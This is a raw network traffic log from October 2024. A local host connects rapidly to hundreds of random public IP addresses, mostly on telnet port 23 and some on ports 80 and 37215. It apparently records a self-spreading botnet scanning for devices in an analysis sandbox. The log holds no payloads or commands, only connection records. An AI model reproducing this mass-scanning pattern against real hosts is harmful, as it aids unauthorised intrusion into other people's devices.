Oct 17, 2024 02:19:43.177325964 CEST	20632	23	192.168.2.14	194.43.142.185
Oct 17, 2024 02:19:43.177328110 CEST	20632	23	192.168.2.14	152.186.59.172
Oct 17, 2024 02:19:43.177328110 CEST	20632	23	192.168.2.14	135.94.125.46
Oct 17, 2024 02:19:43.177335024 CEST	20632	23	192.168.2.14	102.233.245.49
Oct 17, 2024 02:19:43.177339077 CEST	20632	23	192.168.2.14	65.228.200.32
Oct 17, 2024 02:19:43.177341938 CEST	20632	23	192.168.2.14	206.66.117.173
Oct 17, 2024 02:19:43.177344084 CEST	20632	23	192.168.2.14	188.165.128.57
Oct 17, 2024 02:19:43.177356005 CEST	20632	23	192.168.2.14	213.250.157.221
Oct 17, 2024 02:19:43.177359104 CEST	20632	23	192.168.2.14	125.198.98.172
Oct 17, 2024 02:19:43.177376032 CEST	20632	23	192.168.2.14	85.170.111.163
Oct 17, 2024 02:19:43.177376986 CEST	20632	23	192.168.2.14	19.73.152.31
Oct 17, 2024 02:19:43.177377939 CEST	20632	23	192.168.2.14	167.124.86.34
Oct 17, 2024 02:19:43.177377939 CEST	20632	23	192.168.2.14	122.64.73.229
Oct 17, 2024 02:19:43.177382946 CEST	20632	23	192.168.2.14	133.119.249.195
Oct 17, 2024 02:19:43.177393913 CEST	20632	23	192.168.2.14	212.50.58.158
Oct 17, 2024 02:19:43.177393913 CEST	20632	23	192.168.2.14	153.226.229.185
Oct 17, 2024 02:19:43.177396059 CEST	20632	23	192.168.2.14	119.217.176.118
Oct 17, 2024 02:19:43.177396059 CEST	20632	23	192.168.2.14	166.18.229.226
Oct 17, 2024 02:19:43.177398920 CEST	20632	23	192.168.2.14	4.236.172.23
Oct 17, 2024 02:19:43.177400112 CEST	20632	23	192.168.2.14	8.201.173.91
Oct 17, 2024 02:19:43.177400112 CEST	20632	23	192.168.2.14	177.227.202.191
Oct 17, 2024 02:19:43.177408934 CEST	20632	23	192.168.2.14	179.9.111.247
Oct 17, 2024 02:19:43.177434921 CEST	20632	23	192.168.2.14	41.249.250.129
Oct 17, 2024 02:19:43.177434921 CEST	20632	23	192.168.2.14	134.51.207.148
Oct 17, 2024 02:19:43.177434921 CEST	20632	23	192.168.2.14	110.184.5.238
Oct 17, 2024 02:19:43.177439928 CEST	20632	23	192.168.2.14	107.91.254.249
Oct 17, 2024 02:19:43.177434921 CEST	20632	23	192.168.2.14	125.22.55.61
Oct 17, 2024 02:19:43.177444935 CEST	20632	23	192.168.2.14	80.4.214.18
Oct 17, 2024 02:19:43.177447081 CEST	20632	23	192.168.2.14	8.25.175.112
Oct 17, 2024 02:19:43.177457094 CEST	20632	23	192.168.2.14	8.217.80.130
Oct 17, 2024 02:19:43.177463055 CEST	20632	23	192.168.2.14	133.246.167.169
Oct 17, 2024 02:19:43.177464962 CEST	20632	23	192.168.2.14	86.157.121.134
Oct 17, 2024 02:19:43.177469015 CEST	20632	23	192.168.2.14	157.60.169.17
Oct 17, 2024 02:19:43.177469015 CEST	20632	23	192.168.2.14	203.146.176.195
Oct 17, 2024 02:19:43.177469015 CEST	20632	23	192.168.2.14	145.3.30.251
Oct 17, 2024 02:19:43.177480936 CEST	20632	23	192.168.2.14	222.179.0.196
Oct 17, 2024 02:19:43.177485943 CEST	20632	23	192.168.2.14	180.117.234.9
Oct 17, 2024 02:19:43.177489042 CEST	20632	23	192.168.2.14	120.40.241.156
Oct 17, 2024 02:19:43.177489042 CEST	20632	23	192.168.2.14	85.248.187.203
Oct 17, 2024 02:19:43.177489042 CEST	20632	23	192.168.2.14	208.167.58.124
Oct 17, 2024 02:19:43.177489042 CEST	20632	23	192.168.2.14	52.46.114.140
Oct 17, 2024 02:19:43.177496910 CEST	20632	23	192.168.2.14	154.118.7.32
Oct 17, 2024 02:19:43.177498102 CEST	20632	23	192.168.2.14	12.156.215.183
Oct 17, 2024 02:19:43.177498102 CEST	20632	23	192.168.2.14	162.83.80.236
Oct 17, 2024 02:19:43.177496910 CEST	20632	23	192.168.2.14	166.143.78.198
Oct 17, 2024 02:19:43.177500010 CEST	20632	23	192.168.2.14	165.111.255.183
Oct 17, 2024 02:19:43.177503109 CEST	20632	23	192.168.2.14	52.104.246.51
Oct 17, 2024 02:19:43.177504063 CEST	20632	23	192.168.2.14	72.222.179.65
Oct 17, 2024 02:19:43.177506924 CEST	20632	23	192.168.2.14	63.142.172.141
Oct 17, 2024 02:19:43.177517891 CEST	20632	23	192.168.2.14	149.12.5.172
Oct 17, 2024 02:19:43.177517891 CEST	20632	23	192.168.2.14	216.174.143.224
Oct 17, 2024 02:19:43.177519083 CEST	20632	23	192.168.2.14	25.179.195.37
Oct 17, 2024 02:19:43.177519083 CEST	20632	23	192.168.2.14	52.221.172.4
Oct 17, 2024 02:19:43.177531004 CEST	20632	23	192.168.2.14	206.78.95.69
Oct 17, 2024 02:19:43.177541018 CEST	20632	23	192.168.2.14	37.74.55.131
Oct 17, 2024 02:19:43.177541018 CEST	20632	23	192.168.2.14	98.114.110.26
Oct 17, 2024 02:19:43.177542925 CEST	20632	23	192.168.2.14	70.196.124.69
Oct 17, 2024 02:19:43.177542925 CEST	20632	23	192.168.2.14	60.251.169.138
Oct 17, 2024 02:19:43.177546024 CEST	20632	23	192.168.2.14	216.56.190.130
Oct 17, 2024 02:19:43.177548885 CEST	20632	23	192.168.2.14	153.58.0.30
Oct 17, 2024 02:19:43.177548885 CEST	20632	23	192.168.2.14	200.38.122.209
Oct 17, 2024 02:19:43.177562952 CEST	20632	23	192.168.2.14	184.108.94.215
Oct 17, 2024 02:19:43.177562952 CEST	20632	23	192.168.2.14	62.223.247.185
Oct 17, 2024 02:19:43.177582026 CEST	20632	23	192.168.2.14	140.123.247.208
Oct 17, 2024 02:19:43.177586079 CEST	20632	23	192.168.2.14	165.22.50.8
Oct 17, 2024 02:19:43.177592993 CEST	20632	23	192.168.2.14	183.205.64.158
Oct 17, 2024 02:19:43.177593946 CEST	20632	23	192.168.2.14	79.101.225.25
Oct 17, 2024 02:19:43.177593946 CEST	20632	23	192.168.2.14	207.10.53.83
Oct 17, 2024 02:19:43.177608013 CEST	20632	23	192.168.2.14	41.179.178.26
Oct 17, 2024 02:19:43.177608967 CEST	20632	23	192.168.2.14	165.35.123.223
Oct 17, 2024 02:19:43.177611113 CEST	20632	23	192.168.2.14	196.194.92.249
Oct 17, 2024 02:19:43.177612066 CEST	20632	23	192.168.2.14	192.32.56.141
Oct 17, 2024 02:19:43.177613020 CEST	20632	23	192.168.2.14	203.130.180.85
Oct 17, 2024 02:19:43.177613020 CEST	20632	23	192.168.2.14	86.69.7.252
Oct 17, 2024 02:19:43.177614927 CEST	20632	23	192.168.2.14	62.92.229.249
Oct 17, 2024 02:19:43.177630901 CEST	20632	23	192.168.2.14	67.249.17.13
Oct 17, 2024 02:19:43.177630901 CEST	20632	23	192.168.2.14	101.48.244.151
Oct 17, 2024 02:19:43.177630901 CEST	20632	23	192.168.2.14	13.157.23.132
Oct 17, 2024 02:19:43.177635908 CEST	20632	23	192.168.2.14	134.67.53.94
Oct 17, 2024 02:19:43.177640915 CEST	20632	23	192.168.2.14	27.86.79.172
Oct 17, 2024 02:19:43.177642107 CEST	20632	23	192.168.2.14	185.120.99.136
Oct 17, 2024 02:19:43.177642107 CEST	20632	23	192.168.2.14	46.92.33.21
Oct 17, 2024 02:19:43.177643061 CEST	20632	23	192.168.2.14	123.104.204.145
Oct 17, 2024 02:19:43.177647114 CEST	20632	23	192.168.2.14	204.196.195.14
Oct 17, 2024 02:19:43.177648067 CEST	20632	23	192.168.2.14	195.135.11.172
Oct 17, 2024 02:19:43.177665949 CEST	20632	23	192.168.2.14	164.184.79.232
Oct 17, 2024 02:19:43.177668095 CEST	20632	23	192.168.2.14	212.24.108.211
Oct 17, 2024 02:19:43.177668095 CEST	20632	23	192.168.2.14	57.49.96.178
Oct 17, 2024 02:19:43.177668095 CEST	20632	23	192.168.2.14	136.55.189.121
Oct 17, 2024 02:19:43.177676916 CEST	20632	23	192.168.2.14	95.33.121.86
Oct 17, 2024 02:19:43.177678108 CEST	20632	23	192.168.2.14	190.78.254.50
Oct 17, 2024 02:19:43.177675962 CEST	20632	23	192.168.2.14	115.183.42.201
Oct 17, 2024 02:19:43.177680969 CEST	20632	23	192.168.2.14	140.1.21.200
Oct 17, 2024 02:19:43.177684069 CEST	20632	23	192.168.2.14	156.85.48.54
Oct 17, 2024 02:19:43.177684069 CEST	20632	23	192.168.2.14	86.76.194.28
Oct 17, 2024 02:19:43.177685976 CEST	20632	23	192.168.2.14	202.45.123.121
Oct 17, 2024 02:19:43.177696943 CEST	20632	23	192.168.2.14	130.140.24.20
Oct 17, 2024 02:19:43.177699089 CEST	20632	23	192.168.2.14	20.148.220.8
Oct 17, 2024 02:19:43.177699089 CEST	20632	23	192.168.2.14	194.167.111.135
Oct 17, 2024 02:19:43.177704096 CEST	20632	23	192.168.2.14	113.226.139.205
Oct 17, 2024 02:19:43.177705050 CEST	20632	23	192.168.2.14	158.121.88.104
Oct 17, 2024 02:19:43.177705050 CEST	20632	23	192.168.2.14	190.135.180.227
Oct 17, 2024 02:19:43.177706003 CEST	20632	23	192.168.2.14	167.5.145.35
Oct 17, 2024 02:19:43.177709103 CEST	20632	23	192.168.2.14	154.11.153.101
Oct 17, 2024 02:19:43.177715063 CEST	20632	23	192.168.2.14	165.112.214.124
Oct 17, 2024 02:19:43.177717924 CEST	20632	23	192.168.2.14	108.155.252.76
Oct 17, 2024 02:19:43.177733898 CEST	20632	23	192.168.2.14	123.197.64.127
Oct 17, 2024 02:19:43.177738905 CEST	20632	23	192.168.2.14	165.171.229.80
Oct 17, 2024 02:19:43.177741051 CEST	20632	23	192.168.2.14	188.171.146.217
Oct 17, 2024 02:19:43.177748919 CEST	20632	23	192.168.2.14	34.223.17.158
Oct 17, 2024 02:19:43.177764893 CEST	20632	23	192.168.2.14	208.49.126.120
Oct 17, 2024 02:19:43.177764893 CEST	20632	23	192.168.2.14	118.50.150.184
Oct 17, 2024 02:19:43.177774906 CEST	20632	23	192.168.2.14	167.78.117.96
Oct 17, 2024 02:19:43.177776098 CEST	20632	23	192.168.2.14	75.212.115.87
Oct 17, 2024 02:19:43.177776098 CEST	20632	23	192.168.2.14	73.4.111.70
Oct 17, 2024 02:19:43.177777052 CEST	20632	23	192.168.2.14	14.197.155.134
Oct 17, 2024 02:19:43.177777052 CEST	20632	23	192.168.2.14	42.53.7.107
Oct 17, 2024 02:19:43.177778006 CEST	20632	23	192.168.2.14	129.241.166.35
Oct 17, 2024 02:19:43.177777052 CEST	20632	23	192.168.2.14	18.142.188.2
Oct 17, 2024 02:19:43.177778959 CEST	20632	23	192.168.2.14	178.10.120.37
Oct 17, 2024 02:19:43.177794933 CEST	20632	23	192.168.2.14	78.255.72.54
Oct 17, 2024 02:19:43.177794933 CEST	20632	23	192.168.2.14	40.4.142.74
Oct 17, 2024 02:19:43.177795887 CEST	20632	23	192.168.2.14	139.62.61.107
Oct 17, 2024 02:19:43.177802086 CEST	20632	23	192.168.2.14	222.16.38.233
Oct 17, 2024 02:19:43.177807093 CEST	20632	23	192.168.2.14	119.32.62.99
Oct 17, 2024 02:19:43.177807093 CEST	20632	23	192.168.2.14	91.203.166.202
Oct 17, 2024 02:19:43.177807093 CEST	20632	23	192.168.2.14	118.110.182.168
Oct 17, 2024 02:19:43.177807093 CEST	20632	23	192.168.2.14	66.159.149.30
Oct 17, 2024 02:19:43.177809954 CEST	20632	23	192.168.2.14	136.184.64.229
Oct 17, 2024 02:19:43.177815914 CEST	20632	23	192.168.2.14	18.74.194.13
Oct 17, 2024 02:19:43.177823067 CEST	20632	23	192.168.2.14	38.84.47.230
Oct 17, 2024 02:19:43.177828074 CEST	20632	23	192.168.2.14	39.100.134.37
Oct 17, 2024 02:19:43.177834034 CEST	20632	23	192.168.2.14	62.129.84.120
Oct 17, 2024 02:19:43.177834988 CEST	20632	23	192.168.2.14	218.151.23.17
Oct 17, 2024 02:19:43.177841902 CEST	20632	23	192.168.2.14	116.51.227.183
Oct 17, 2024 02:19:43.177848101 CEST	20632	23	192.168.2.14	158.60.127.231
Oct 17, 2024 02:19:43.177849054 CEST	20632	23	192.168.2.14	79.84.254.218
Oct 17, 2024 02:19:43.177870035 CEST	20632	23	192.168.2.14	97.228.44.230
Oct 17, 2024 02:19:43.177874088 CEST	20632	23	192.168.2.14	66.187.156.108
Oct 17, 2024 02:19:43.177874088 CEST	20632	23	192.168.2.14	199.159.141.203
Oct 17, 2024 02:19:43.177886009 CEST	20632	23	192.168.2.14	95.62.126.255
Oct 17, 2024 02:19:43.177886009 CEST	20632	23	192.168.2.14	109.196.87.108
Oct 17, 2024 02:19:43.177890062 CEST	20632	23	192.168.2.14	148.159.220.5
Oct 17, 2024 02:19:43.177896976 CEST	20632	23	192.168.2.14	182.167.161.45
Oct 17, 2024 02:19:43.177897930 CEST	20632	23	192.168.2.14	165.122.239.128
Oct 17, 2024 02:19:43.177897930 CEST	20632	23	192.168.2.14	5.167.21.140
Oct 17, 2024 02:19:43.177901030 CEST	20632	23	192.168.2.14	132.232.122.191
Oct 17, 2024 02:19:43.177902937 CEST	20632	23	192.168.2.14	152.162.242.201
Oct 17, 2024 02:19:43.177920103 CEST	20632	23	192.168.2.14	107.15.159.53
Oct 17, 2024 02:19:43.177922010 CEST	20632	23	192.168.2.14	178.10.92.244
Oct 17, 2024 02:19:43.177922010 CEST	20632	23	192.168.2.14	140.7.174.123
Oct 17, 2024 02:19:43.177927017 CEST	20632	23	192.168.2.14	68.200.103.228
Oct 17, 2024 02:19:43.177927017 CEST	20632	23	192.168.2.14	151.110.238.221
Oct 17, 2024 02:19:43.177931070 CEST	20632	23	192.168.2.14	23.252.243.25
Oct 17, 2024 02:19:43.177933931 CEST	20632	23	192.168.2.14	65.139.225.143
Oct 17, 2024 02:19:43.177943945 CEST	20632	23	192.168.2.14	121.211.70.252
Oct 17, 2024 02:19:43.177943945 CEST	20632	23	192.168.2.14	139.15.172.234
Oct 17, 2024 02:19:43.177944899 CEST	20632	23	192.168.2.14	157.216.18.40
Oct 17, 2024 02:19:43.177946091 CEST	20632	23	192.168.2.14	125.78.84.207
Oct 17, 2024 02:19:43.177944899 CEST	20632	23	192.168.2.14	76.44.65.145
Oct 17, 2024 02:19:43.177948952 CEST	20632	23	192.168.2.14	111.5.17.85
Oct 17, 2024 02:19:43.177946091 CEST	20632	23	192.168.2.14	119.118.136.104
Oct 17, 2024 02:19:43.177953005 CEST	20632	23	192.168.2.14	24.23.148.211
Oct 17, 2024 02:19:43.177958965 CEST	20632	23	192.168.2.14	24.179.145.249
Oct 17, 2024 02:19:43.177958965 CEST	20632	23	192.168.2.14	163.248.99.72
Oct 17, 2024 02:19:43.177963972 CEST	20632	23	192.168.2.14	98.179.191.186
Oct 17, 2024 02:19:43.177964926 CEST	20632	23	192.168.2.14	146.131.246.81
Oct 17, 2024 02:19:43.177968025 CEST	20632	23	192.168.2.14	72.166.18.212
Oct 17, 2024 02:19:43.177968025 CEST	20632	23	192.168.2.14	71.240.70.239
Oct 17, 2024 02:19:43.177968025 CEST	20632	23	192.168.2.14	38.208.232.117
Oct 17, 2024 02:19:43.177970886 CEST	20632	23	192.168.2.14	103.109.169.54
Oct 17, 2024 02:19:43.177983046 CEST	20632	23	192.168.2.14	61.82.78.168
Oct 17, 2024 02:19:43.177983046 CEST	20632	23	192.168.2.14	41.96.24.109
Oct 17, 2024 02:19:43.177983999 CEST	20632	23	192.168.2.14	17.19.242.18
Oct 17, 2024 02:19:43.177983999 CEST	20632	23	192.168.2.14	192.94.40.85
Oct 17, 2024 02:19:43.177989960 CEST	20632	23	192.168.2.14	31.239.133.178
Oct 17, 2024 02:19:43.178003073 CEST	20632	23	192.168.2.14	202.49.210.67
Oct 17, 2024 02:19:43.178003073 CEST	20632	23	192.168.2.14	91.227.36.15
Oct 17, 2024 02:19:43.178008080 CEST	20632	23	192.168.2.14	13.9.230.84
Oct 17, 2024 02:19:43.178013086 CEST	20632	23	192.168.2.14	44.79.90.54
Oct 17, 2024 02:19:43.178015947 CEST	20632	23	192.168.2.14	133.54.71.149
Oct 17, 2024 02:19:43.178015947 CEST	20632	23	192.168.2.14	141.37.40.4
Oct 17, 2024 02:19:43.178019047 CEST	20632	23	192.168.2.14	114.214.26.138
Oct 17, 2024 02:19:43.178019047 CEST	20632	23	192.168.2.14	210.192.242.21
Oct 17, 2024 02:19:43.178019047 CEST	20632	23	192.168.2.14	171.96.229.223
Oct 17, 2024 02:19:43.178028107 CEST	20632	23	192.168.2.14	185.236.173.79
Oct 17, 2024 02:19:43.178036928 CEST	20632	23	192.168.2.14	32.91.49.22
Oct 17, 2024 02:19:43.178039074 CEST	20632	23	192.168.2.14	145.240.137.44
Oct 17, 2024 02:19:43.178049088 CEST	20632	23	192.168.2.14	208.96.144.248
Oct 17, 2024 02:19:43.178049088 CEST	20632	23	192.168.2.14	205.33.104.147
Oct 17, 2024 02:19:43.178056002 CEST	20632	23	192.168.2.14	101.142.24.243
Oct 17, 2024 02:19:43.178057909 CEST	20632	23	192.168.2.14	219.53.252.55
Oct 17, 2024 02:19:43.178060055 CEST	20632	23	192.168.2.14	203.43.223.96
Oct 17, 2024 02:19:43.178061008 CEST	20632	23	192.168.2.14	54.198.213.239
Oct 17, 2024 02:19:43.178073883 CEST	20632	23	192.168.2.14	54.147.78.48
Oct 17, 2024 02:19:43.178078890 CEST	20632	23	192.168.2.14	194.236.123.112
Oct 17, 2024 02:19:43.178078890 CEST	20632	23	192.168.2.14	152.24.29.156
Oct 17, 2024 02:19:43.178080082 CEST	20632	23	192.168.2.14	84.168.25.110
Oct 17, 2024 02:19:43.178080082 CEST	20632	23	192.168.2.14	48.151.26.71
Oct 17, 2024 02:19:43.178080082 CEST	20632	23	192.168.2.14	43.36.152.8
Oct 17, 2024 02:19:43.178080082 CEST	20632	23	192.168.2.14	57.2.115.101
Oct 17, 2024 02:19:43.178080082 CEST	20632	23	192.168.2.14	93.187.101.244
Oct 17, 2024 02:19:43.178080082 CEST	20632	23	192.168.2.14	120.179.165.193
Oct 17, 2024 02:19:43.178086996 CEST	20632	23	192.168.2.14	216.143.211.228
Oct 17, 2024 02:19:43.178090096 CEST	20632	23	192.168.2.14	207.10.0.29
Oct 17, 2024 02:19:43.178091049 CEST	20632	23	192.168.2.14	211.28.172.7
Oct 17, 2024 02:19:43.178091049 CEST	20632	23	192.168.2.14	78.220.202.159
Oct 17, 2024 02:19:43.178100109 CEST	20632	23	192.168.2.14	119.54.119.84
Oct 17, 2024 02:19:43.178100109 CEST	20632	23	192.168.2.14	156.212.181.253
Oct 17, 2024 02:19:43.178100109 CEST	20632	23	192.168.2.14	76.146.61.146
Oct 17, 2024 02:19:43.178102016 CEST	20632	23	192.168.2.14	122.254.229.225
Oct 17, 2024 02:19:43.178102016 CEST	20632	23	192.168.2.14	169.236.50.124
Oct 17, 2024 02:19:43.178117037 CEST	20632	23	192.168.2.14	92.37.153.160
Oct 17, 2024 02:19:43.178117990 CEST	20632	23	192.168.2.14	115.35.108.21
Oct 17, 2024 02:19:43.178119898 CEST	20632	23	192.168.2.14	57.153.82.49
Oct 17, 2024 02:19:43.178119898 CEST	20632	23	192.168.2.14	151.168.218.193
Oct 17, 2024 02:19:43.178121090 CEST	20632	23	192.168.2.14	212.132.125.62
Oct 17, 2024 02:19:43.178121090 CEST	20632	23	192.168.2.14	122.206.154.5
Oct 17, 2024 02:19:43.178122997 CEST	20632	23	192.168.2.14	201.186.153.178
Oct 17, 2024 02:19:43.178124905 CEST	20632	23	192.168.2.14	93.55.97.175
Oct 17, 2024 02:19:43.178128004 CEST	20632	23	192.168.2.14	9.109.192.146
Oct 17, 2024 02:19:43.178128958 CEST	20632	23	192.168.2.14	217.197.117.88
Oct 17, 2024 02:19:43.178128958 CEST	20632	23	192.168.2.14	94.126.169.220
Oct 17, 2024 02:19:43.178154945 CEST	20632	23	192.168.2.14	12.104.139.21
Oct 17, 2024 02:19:43.178155899 CEST	20632	23	192.168.2.14	101.12.91.44
Oct 17, 2024 02:19:43.178164005 CEST	20632	23	192.168.2.14	141.72.174.105
Oct 17, 2024 02:19:43.178168058 CEST	20632	23	192.168.2.14	213.255.167.126
Oct 17, 2024 02:19:43.178168058 CEST	20632	23	192.168.2.14	90.161.5.176
Oct 17, 2024 02:19:43.178169966 CEST	20632	23	192.168.2.14	1.243.64.104
Oct 17, 2024 02:19:43.178169966 CEST	20632	23	192.168.2.14	186.80.241.150
Oct 17, 2024 02:19:43.178177118 CEST	20632	23	192.168.2.14	203.223.137.55
Oct 17, 2024 02:19:43.178179026 CEST	20632	23	192.168.2.14	205.94.217.172
Oct 17, 2024 02:19:43.178179026 CEST	20632	23	192.168.2.14	103.246.228.205
Oct 17, 2024 02:19:43.178179026 CEST	20632	23	192.168.2.14	137.98.180.100
Oct 17, 2024 02:19:43.178188086 CEST	20632	23	192.168.2.14	103.159.164.227
Oct 17, 2024 02:19:43.178188086 CEST	20632	23	192.168.2.14	154.248.135.142
Oct 17, 2024 02:19:43.178189993 CEST	20632	23	192.168.2.14	178.38.246.14
Oct 17, 2024 02:19:43.178190947 CEST	20632	23	192.168.2.14	73.213.146.237
Oct 17, 2024 02:19:43.178201914 CEST	20632	23	192.168.2.14	171.20.60.201
Oct 17, 2024 02:19:43.178201914 CEST	20632	23	192.168.2.14	184.149.77.207
Oct 17, 2024 02:19:43.178214073 CEST	20632	23	192.168.2.14	81.116.136.149
Oct 17, 2024 02:19:43.178215027 CEST	20632	23	192.168.2.14	199.230.46.143
Oct 17, 2024 02:19:43.178215981 CEST	20632	23	192.168.2.14	58.127.106.201
Oct 17, 2024 02:19:43.178215981 CEST	20632	23	192.168.2.14	105.199.8.33
Oct 17, 2024 02:19:43.178219080 CEST	20632	23	192.168.2.14	109.84.46.161
Oct 17, 2024 02:19:43.178235054 CEST	20632	23	192.168.2.14	43.194.211.175
Oct 17, 2024 02:19:43.178253889 CEST	20632	23	192.168.2.14	93.28.218.157
Oct 17, 2024 02:19:43.178258896 CEST	20632	23	192.168.2.14	204.144.116.133
Oct 17, 2024 02:19:43.178261042 CEST	20632	23	192.168.2.14	143.227.42.173
Oct 17, 2024 02:19:43.178261995 CEST	20632	23	192.168.2.14	199.196.150.139
Oct 17, 2024 02:19:43.178265095 CEST	20632	23	192.168.2.14	44.47.191.167
Oct 17, 2024 02:19:43.178267002 CEST	20632	23	192.168.2.14	116.15.46.140
Oct 17, 2024 02:19:43.178267002 CEST	20632	23	192.168.2.14	114.172.226.22
Oct 17, 2024 02:19:43.178276062 CEST	20632	23	192.168.2.14	165.135.109.95
Oct 17, 2024 02:19:43.178276062 CEST	20632	23	192.168.2.14	109.200.43.43
Oct 17, 2024 02:19:43.178282976 CEST	20632	23	192.168.2.14	40.66.118.152
Oct 17, 2024 02:19:43.178283930 CEST	20632	23	192.168.2.14	122.110.32.142
Oct 17, 2024 02:19:43.178287983 CEST	20632	23	192.168.2.14	49.18.247.109
Oct 17, 2024 02:19:43.178287983 CEST	20632	23	192.168.2.14	96.198.148.210
Oct 17, 2024 02:19:43.178287983 CEST	20632	23	192.168.2.14	201.93.28.82
Oct 17, 2024 02:19:43.178293943 CEST	20632	23	192.168.2.14	162.228.75.156
Oct 17, 2024 02:19:43.178294897 CEST	20632	23	192.168.2.14	121.122.244.59
Oct 17, 2024 02:19:43.178303003 CEST	20632	23	192.168.2.14	165.106.219.212
Oct 17, 2024 02:19:43.178304911 CEST	20632	23	192.168.2.14	91.182.254.35
Oct 17, 2024 02:19:43.178306103 CEST	20632	23	192.168.2.14	176.245.138.34
Oct 17, 2024 02:19:43.178308964 CEST	20632	23	192.168.2.14	195.211.68.70
Oct 17, 2024 02:19:43.178309917 CEST	20632	23	192.168.2.14	71.113.231.74
Oct 17, 2024 02:19:43.178318024 CEST	20632	23	192.168.2.14	80.15.198.200
Oct 17, 2024 02:19:43.178320885 CEST	20632	23	192.168.2.14	163.23.211.142
Oct 17, 2024 02:19:43.178322077 CEST	20632	23	192.168.2.14	126.114.174.31
Oct 17, 2024 02:19:43.178324938 CEST	20632	23	192.168.2.14	41.180.111.29
Oct 17, 2024 02:19:43.178334951 CEST	20632	23	192.168.2.14	13.1.68.108
Oct 17, 2024 02:19:43.178334951 CEST	20632	23	192.168.2.14	165.67.50.181
Oct 17, 2024 02:19:43.178337097 CEST	20632	23	192.168.2.14	141.167.122.141
Oct 17, 2024 02:19:43.178337097 CEST	20632	23	192.168.2.14	58.15.23.164
Oct 17, 2024 02:19:43.178343058 CEST	20632	23	192.168.2.14	18.11.2.8
Oct 17, 2024 02:19:43.178359985 CEST	20632	23	192.168.2.14	130.123.189.167
Oct 17, 2024 02:19:43.178364038 CEST	20632	23	192.168.2.14	205.59.56.138
Oct 17, 2024 02:19:43.178368092 CEST	20632	23	192.168.2.14	140.204.101.108
Oct 17, 2024 02:19:43.178373098 CEST	20632	23	192.168.2.14	146.138.219.32
Oct 17, 2024 02:19:43.178385019 CEST	20632	23	192.168.2.14	84.246.193.4
Oct 17, 2024 02:19:43.178388119 CEST	20632	23	192.168.2.14	114.147.214.91
Oct 17, 2024 02:19:43.178390026 CEST	20632	23	192.168.2.14	67.202.140.69
Oct 17, 2024 02:19:43.178390026 CEST	20632	23	192.168.2.14	170.151.222.170
Oct 17, 2024 02:19:43.178391933 CEST	20632	23	192.168.2.14	64.159.198.202
Oct 17, 2024 02:19:43.178391933 CEST	20632	23	192.168.2.14	142.111.53.8
Oct 17, 2024 02:19:43.178391933 CEST	20632	23	192.168.2.14	119.253.253.0
Oct 17, 2024 02:19:43.178407907 CEST	20632	23	192.168.2.14	66.231.7.78
Oct 17, 2024 02:19:43.178407907 CEST	20632	23	192.168.2.14	217.117.155.241
Oct 17, 2024 02:19:43.178410053 CEST	20632	23	192.168.2.14	113.171.244.253
Oct 17, 2024 02:19:43.178410053 CEST	20632	23	192.168.2.14	221.190.52.84
Oct 17, 2024 02:19:43.178416014 CEST	20632	23	192.168.2.14	34.24.164.115
Oct 17, 2024 02:19:43.178419113 CEST	20632	23	192.168.2.14	129.3.120.91
Oct 17, 2024 02:19:43.195242882 CEST	80	34536	104.67.111.220	192.168.2.14
Oct 17, 2024 02:19:43.203979969 CEST	23	52910	176.227.215.58	192.168.2.14
Oct 17, 2024 02:19:43.207410097 CEST	52910	23	192.168.2.14	176.227.215.58
Oct 17, 2024 02:19:43.212450027 CEST	23	52910	176.227.215.58	192.168.2.14
Oct 17, 2024 02:19:43.223413944 CEST	51180	80	192.168.2.14	17.54.164.225
Oct 17, 2024 02:19:43.228552103 CEST	80	51180	17.54.164.225	192.168.2.14
Oct 17, 2024 02:19:43.229046106 CEST	51180	80	192.168.2.14	17.54.164.225
Oct 17, 2024 02:19:43.235779047 CEST	48364	80	192.168.2.14	174.27.117.70
Oct 17, 2024 02:19:43.235789061 CEST	52330	23	192.168.2.14	202.138.146.13
Oct 17, 2024 02:19:43.235789061 CEST	50296	23	192.168.2.14	98.213.214.178
Oct 17, 2024 02:19:43.235790968 CEST	56690	37215	192.168.2.14	156.174.124.75
Oct 17, 2024 02:19:43.235883951 CEST	51878	23	192.168.2.14	52.133.6.178
Oct 17, 2024 02:19:43.240746021 CEST	37215	56690	156.174.124.75	192.168.2.14
Oct 17, 2024 02:19:43.240767956 CEST	80	48364	174.27.117.70	192.168.2.14
Oct 17, 2024 02:19:43.240778923 CEST	23	52330	202.138.146.13	192.168.2.14
Oct 17, 2024 02:19:43.240807056 CEST	48364	80	192.168.2.14	174.27.117.70
Oct 17, 2024 02:19:43.240880966 CEST	23	50296	98.213.214.178	192.168.2.14
Oct 17, 2024 02:19:43.240884066 CEST	56690	37215	192.168.2.14	156.174.124.75
Oct 17, 2024 02:19:43.240892887 CEST	23	51878	52.133.6.178	192.168.2.14
Oct 17, 2024 02:19:43.240911961 CEST	52330	23	192.168.2.14	202.138.146.13
Oct 17, 2024 02:19:43.240941048 CEST	50296	23	192.168.2.14	98.213.214.178
Oct 17, 2024 02:19:43.241080999 CEST	51878	23	192.168.2.14	52.133.6.178
Oct 17, 2024 02:19:43.247499943 CEST	54564	37215	192.168.2.14	41.157.56.29
Oct 17, 2024 02:19:43.253073931 CEST	37215	54564	41.157.56.29	192.168.2.14
Oct 17, 2024 02:19:43.253170967 CEST	54564	37215	192.168.2.14	41.157.56.29
Oct 17, 2024 02:19:43.267781973 CEST	43248	80	192.168.2.14	173.138.120.251
Oct 17, 2024 02:19:43.267786980 CEST	45386	37215	192.168.2.14	197.185.101.11
Oct 17, 2024 02:19:43.267976046 CEST	53518	23	192.168.2.14	176.227.215.58
Oct 17, 2024 02:19:43.272636890 CEST	80	43248	173.138.120.251	192.168.2.14
Oct 17, 2024 02:19:43.272650003 CEST	37215	45386	197.185.101.11	192.168.2.14
Oct 17, 2024 02:19:43.272701025 CEST	45386	37215	192.168.2.14	197.185.101.11
Oct 17, 2024 02:19:43.272705078 CEST	43248	80	192.168.2.14	173.138.120.251
Oct 17, 2024 02:19:43.272742033 CEST	23	53518	176.227.215.58	192.168.2.14
Oct 17, 2024 02:19:43.273034096 CEST	53518	23	192.168.2.14	176.227.215.58
Oct 17, 2024 02:19:43.283677101 CEST	53526	80	192.168.2.14	175.135.73.178
Oct 17, 2024 02:19:43.283704042 CEST	53526	80	192.168.2.14	175.135.73.178
Oct 17, 2024 02:19:43.288584948 CEST	80	53526	175.135.73.178	192.168.2.14
Oct 17, 2024 02:19:43.299781084 CEST	58426	23	192.168.2.14	88.241.38.195
Oct 17, 2024 02:19:43.299789906 CEST	59064	80	192.168.2.14	198.90.180.54
Oct 17, 2024 02:19:43.299802065 CEST	42374	37215	192.168.2.14	41.37.238.162
